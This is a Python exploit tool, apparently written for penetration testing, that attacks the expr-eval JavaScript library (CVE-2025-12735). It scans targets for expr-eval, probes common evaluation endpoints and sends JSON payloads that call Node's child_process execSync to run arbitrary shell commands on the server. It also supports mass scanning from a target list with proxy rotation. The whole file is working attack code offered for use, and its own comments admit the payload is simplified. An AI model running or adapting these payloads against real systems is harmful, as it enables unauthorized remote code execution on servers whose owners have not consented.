#!/usr/bin/env python3
"""
UkNF - CVE-2025-12735 expr-eval JavaScript Library RCE Exploit
Unified Knowledge Network Framework - expr-eval Exploitation Module

CVE-2025-12735: Arbitrary Code Execution via context object manipulation in expr-eval
Vulnerable Packages: expr-eval, expr-eval-fork (versions < 3.0.0)

Author: Security Research Team
Date: November 2025
License: For authorized penetration testing only
"""

import sys
import argparse
import logging
import signal
import time
import threading
from pathlib import Path
from typing import List, Dict, Optional, Tuple
from concurrent.futures import ThreadPoolExecutor, as_completed
import json
from datetime import datetime
import requests
from urllib.parse import urljoin, urlparse
import base64
import re
import random
import string

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)
logger = logging.getLogger(__name__)

# Global shutdown flag
shutdown_flag = threading.Event()


class ExprEvalRecon:
    """Reconnaissance module for expr-eval applications"""
    
    def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None):
        self.target_url = target_url.rstrip('/')
        self.session = session or requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/json',
            'Accept': 'application/json, text/plain, */*'
        })
        if proxies:
            self.session.proxies.update(proxies)
        self.expr_eval_detected = False
        self.vulnerable = False
        
    def detect_expr_eval(self) -> bool:
        """Detect if target is using expr-eval"""
        try:
            # Check for common endpoints that might use expr-eval
            endpoints = [
                '/api/evaluate',
                '/api/calculate',
                '/api/parse',
                '/api/expression',
                '/api/math',
                '/evaluate',
                '/calculate',
                '/parse',
            ]
            
            # Check JavaScript files for expr-eval references
            js_endpoints = [
                '/static/js/app.js',
                '/js/app.js',
                '/assets/js/main.js',
                '/bundle.js',
                '/main.js',
            ]
            
            for endpoint in js_endpoints:
                try:
                    url = urljoin(self.target_url, endpoint)
                    response = self.session.get(url, timeout=10, allow_redirects=True)
                    
                    if response.status_code == 200:
                        content = response.text.lower()
                        # Look for expr-eval references
                        if any(indicator in content for indicator in [
                            'expr-eval',
                            'expr_eval',
                            'expreval',
                            'parser.evaluate',
                            'new parser()',
                        ]):
                            logger.info(f"expr-eval detected in {endpoint}")
                            self.expr_eval_detected = True
                            return True
                            
                except requests.RequestException as e:
                    logger.debug(f"Error checking {endpoint}: {e}")
                    continue
            
            # Check HTML for inline scripts
            try:
                response = self.session.get(self.target_url, timeout=10)
                if response.status_code == 200:
                    content = response.text.lower()
                    if any(indicator in content for indicator in [
                        'expr-eval',
                        'expr_eval',
                        'expreval',
                    ]):
                        logger.info("expr-eval detected in HTML content")
                        self.expr_eval_detected = True
                        return True
            except requests.RequestException:
                pass
                    
            return False
            
        except Exception as e:
            logger.error(f"Error detecting expr-eval: {e}")
            return False
    
    def find_evaluation_endpoints(self) -> List[str]:
        """Find potential evaluation endpoints"""
        endpoints = [
            '/api/evaluate',
            '/api/calculate',
            '/api/parse',
            '/api/expression',
            '/api/math',
            '/evaluate',
            '/calculate',
            '/parse',
            '/expression',
            '/math',
        ]
        
        found_endpoints = []
        
        for endpoint in endpoints:
            try:
                url = urljoin(self.target_url, endpoint)
                # Try GET first
                response = self.session.get(url, timeout=10, allow_redirects=False)
                if response.status_code in [200, 400, 405]:  # 405 = Method Not Allowed (but endpoint exists)
                    found_endpoints.append(endpoint)
                    logger.info(f"Found potential endpoint: {endpoint}")
            except requests.RequestException:
                continue
        
        return found_endpoints
    
    def test_vulnerability(self, endpoint: str) -> bool:
        """Test for CVE-2025-12735 vulnerability"""
        try:
            url = urljoin(self.target_url, endpoint)
            
            # Test payload: Try to execute a function from context
            test_payloads = [
                {
                    "expression": "test()",
                    "context": {
                        "test": "function() { return 'vulnerable'; }"
                    }
                },
                {
                    "expr": "test()",
                    "ctx": {
                        "test": "function() { return 'vulnerable'; }"
                    }
                },
                {
                    "formula": "test()",
                    "vars": {
                        "test": "function() { return 'vulnerable'; }"
                    }
                },
            ]
            
            for payload in test_payloads:
                try:
                    response = self.session.post(
                        url,
                        json=payload,
                        timeout=10,
                        allow_redirects=False
                    )
                    
                    if response.status_code == 200:
                        content = response.text
                        # Check if our test function executed
                        if 'vulnerable' in content.lower():
                            logger.warning(f"Vulnerability confirmed at {endpoint}!")
                            self.vulnerable = True
                            return True
                            
                except requests.RequestException as e:
                    logger.debug(f"Error testing payload: {e}")
                    continue
            
            return False
            
        except Exception as e:
            logger.error(f"Error testing vulnerability: {e}")
            return False


class CVE202512735Exploit:
    """Exploitation module for CVE-2025-12735"""
    
    def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None):
        self.target_url = target_url.rstrip('/')
        self.session = session or requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/json',
            'Accept': 'application/json, text/plain, */*'
        })
        if proxies:
            self.session.proxies.update(proxies)
        self.recon = ExprEvalRecon(target_url, self.session, proxies)
        self.vulnerable_endpoint = None
        
    def find_vulnerable_endpoint(self) -> Optional[str]:
        """Find the vulnerable endpoint"""
        endpoints = self.recon.find_evaluation_endpoints()
        
        for endpoint in endpoints:
            if self.recon.test_vulnerability(endpoint):
                logger.info(f"Found vulnerable endpoint: {endpoint}")
                self.vulnerable_endpoint = endpoint
                return endpoint
        
        return None
    
    def execute_command(self, command: str, method: str = "execSync") -> Optional[str]:
        """Execute a command via RCE"""
        try:
            if not self.vulnerable_endpoint:
                if not self.find_vulnerable_endpoint():
                    return None
            
            url = urljoin(self.target_url, self.vulnerable_endpoint)
            
            # Create malicious context with command execution
            # Note: This is a simplified version - actual exploitation may require
            # different payload structures depending on the application
            
            payloads = [
                {
                    "expression": f"exec('{command}')",
                    "context": {
                        "exec": f"function(cmd) {{ const {{execSync}} = require('child_process'); return execSync(cmd).toString(); }}"
                    }
                },
                {
                    "expr": f"exec('{command}')",
                    "ctx": {
                        "exec": f"function(cmd) {{ const {{execSync}} = require('child_process'); return execSync(cmd).toString(); }}"
                    }
                },
                {
                    "formula": f"exec('{command}')",
                    "vars": {
                        "exec": f"function(cmd) {{ const {{execSync}} = require('child_process'); return execSync(cmd).toString(); }}"
                    }
                },
            ]
            
            for payload in payloads:
                try:
                    response = self.session.post(
                        url,
                        json=payload,
                        timeout=10,
                        allow_redirects=False
                    )
                    
                    if response.status_code == 200:
                        result = response.text
                        # Try to extract command output
                        if len(result) > 0:
                            return result
                            
                except requests.RequestException as e:
                    logger.debug(f"Error executing command: {e}")
                    continue
            
            return None
            
        except Exception as e:
            logger.error(f"Error executing command: {e}")
            return None
    
    def exploit(self, command: str = "id") -> Dict:
        """Main exploitation method"""
        results = {
            'target': self.target_url,
            'timestamp': datetime.now().isoformat(),
            'expr_eval_detected': False,
            'vulnerable': False,
            'endpoint_found': False,
            'exploitation_successful': False,
            'command_executed': command,
            'output': None,
            'vulnerable_endpoint': None,
        }
        
        try:
            # Step 1: Detect expr-eval
            logger.info("[1/4] Detecting expr-eval...")
            if not self.recon.detect_expr_eval():
                logger.warning("expr-eval not detected")
                return results
            
            results['expr_eval_detected'] = True
            
            # Step 2: Find evaluation endpoints
            logger.info("[2/4] Finding evaluation endpoints...")
            endpoints = self.recon.find_evaluation_endpoints()
            if not endpoints:
                logger.warning("No evaluation endpoints found")
                return results
            
            # Step 3: Test for vulnerability
            logger.info("[3/4] Testing for vulnerability...")
            vulnerable_endpoint = self.find_vulnerable_endpoint()
            if not vulnerable_endpoint:
                logger.warning("Target does not appear to be vulnerable")
                return results
            
            results['vulnerable'] = True
            results['endpoint_found'] = True
            results['vulnerable_endpoint'] = vulnerable_endpoint
            
            # Step 4: Exploit
            logger.info("[4/4] Exploiting vulnerability...")
            output = self.execute_command(command)
            if output:
                results['exploitation_successful'] = True
                results['output'] = output
                logger.info(f"Command executed successfully: {command}")
                logger.info(f"Output: {output[:500]}")  # First 500 chars
            
            return results
            
        except Exception as e:
            logger.error(f"Exploitation error: {e}")
            results['error'] = str(e)
            return results


class UkNFExprEvalExploitFramework:
    """Main framework class"""
    
    def __init__(self, target_url: str, threads: int = 1, proxies: Dict = None):
        self.target_url = target_url
        self.threads = threads
        self.proxies = proxies
        self.results = []
        
    def run(self) -> Dict:
        """Run the exploitation framework"""
        logger.info(f"Starting UkNF exploitation for {self.target_url}")
        
        exploit = CVE202512735Exploit(self.target_url, proxies=self.proxies)
        result = exploit.exploit()
        
        self.results.append(result)
        return result
    
    def save_results(self, output_file: str):
        """Save results to file"""
        output_path = Path(output_file)
        output_path.parent.mkdir(parents=True, exist_ok=True)
        
        with open(output_path, 'w', encoding='utf-8') as f:
            json.dump(self.results, f, indent=2, ensure_ascii=False)
        
        logger.info(f"Results saved to {output_path}")


def signal_handler(signum, frame):
    """Handle graceful shutdown"""
    logger.warning("Shutdown signal received, finishing current tasks...")
    shutdown_flag.set()


def main():
    """Main entry point"""
    parser = argparse.ArgumentParser(
        description='UkNF - CVE-2025-12735 expr-eval RCE Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s -u http://target.com
  %(prog)s -u http://target.com -c "whoami"
  %(prog)s -u http://target.com -t 5 -o results.json
  %(prog)s -f targets.txt --proxy-list proxies.txt -o results/
        """
    )
    
    parser.add_argument('-u', '--url', type=str, help='Target URL')
    parser.add_argument('-f', '--file', type=str, help='File containing target URLs (one per line)')
    parser.add_argument('-c', '--command', type=str, default='id', help='Command to execute (default: id)')
    parser.add_argument('-t', '--threads', type=int, default=1, help='Number of threads (default: 1)')
    parser.add_argument('-o', '--output', type=str, default='uknf_expr_eval_results.json', help='Output file (default: uknf_expr_eval_results.json)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose logging')
    parser.add_argument('--proxy', type=str, help='Proxy URL (e.g., http://127.0.0.1:8080)')
    parser.add_argument('--proxy-list', type=str, help='File containing proxy URLs (one per line)')
    
    args = parser.parse_args()
    
    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)
    
    # Setup signal handlers
    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTERM, signal_handler)
    
    # Validate arguments
    if not args.url and not args.file:
        parser.error("Either -u/--url or -f/--file must be provided")
    
    # Setup proxies
    proxy_list = []
    
    if args.proxy:
        proxy_list = [args.proxy]
    elif args.proxy_list:
        with open(args.proxy_list, 'r') as f:
            proxy_list = [line.strip() for line in f if line.strip()]
    
    # Process targets
    targets = []
    if args.url:
        targets.append(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]
    
    if not targets:
        logger.error("No targets specified")
        return 1
    
    logger.info(f"Processing {len(targets)} target(s)")
    if proxy_list:
        logger.info(f"Using {len(proxy_list)} proxy/proxies")
    
    # Process targets
    all_results = []
    for i, target in enumerate(targets):
        if shutdown_flag.is_set():
            break
        
        try:
            # Rotate proxies if available
            current_proxies = None
            if proxy_list:
                proxy_url = proxy_list[i % len(proxy_list)]
                current_proxies = {
                    'http': proxy_url,
                    'https': proxy_url
                }
                logger.info(f"Using proxy for {target}: {proxy_url.split('@')[-1] if '@' in proxy_url else proxy_url}")
            
            framework = UkNFExprEvalExploitFramework(target, threads=args.threads, proxies=current_proxies)
            result = framework.run()
            all_results.append(result)
            
        except Exception as e:
            logger.error(f"Error processing {target}: {e}")
            continue
    
    # Save results
    if all_results:
        output_path = Path(args.output)
        output_path.parent.mkdir(parents=True, exist_ok=True)
        
        with open(output_path, 'w', encoding='utf-8') as f:
            json.dump(all_results, f, indent=2, ensure_ascii=False)
        
        logger.info(f"Results saved to {output_path}")
        
        # Print summary
        detected = sum(1 for r in all_results if r.get('expr_eval_detected'))
        vulnerable = sum(1 for r in all_results if r.get('vulnerable'))
        exploited = sum(1 for r in all_results if r.get('exploitation_successful'))
        
        logger.info(f"\nSummary:")
        logger.info(f"  Targets processed: {len(all_results)}")
        logger.info(f"  expr-eval detected: {detected}")
        logger.info(f"  Vulnerable: {vulnerable}")
        logger.info(f"  Successfully exploited: {exploited}")
    
    return 0


if __name__ == '__main__':
    sys.exit(main())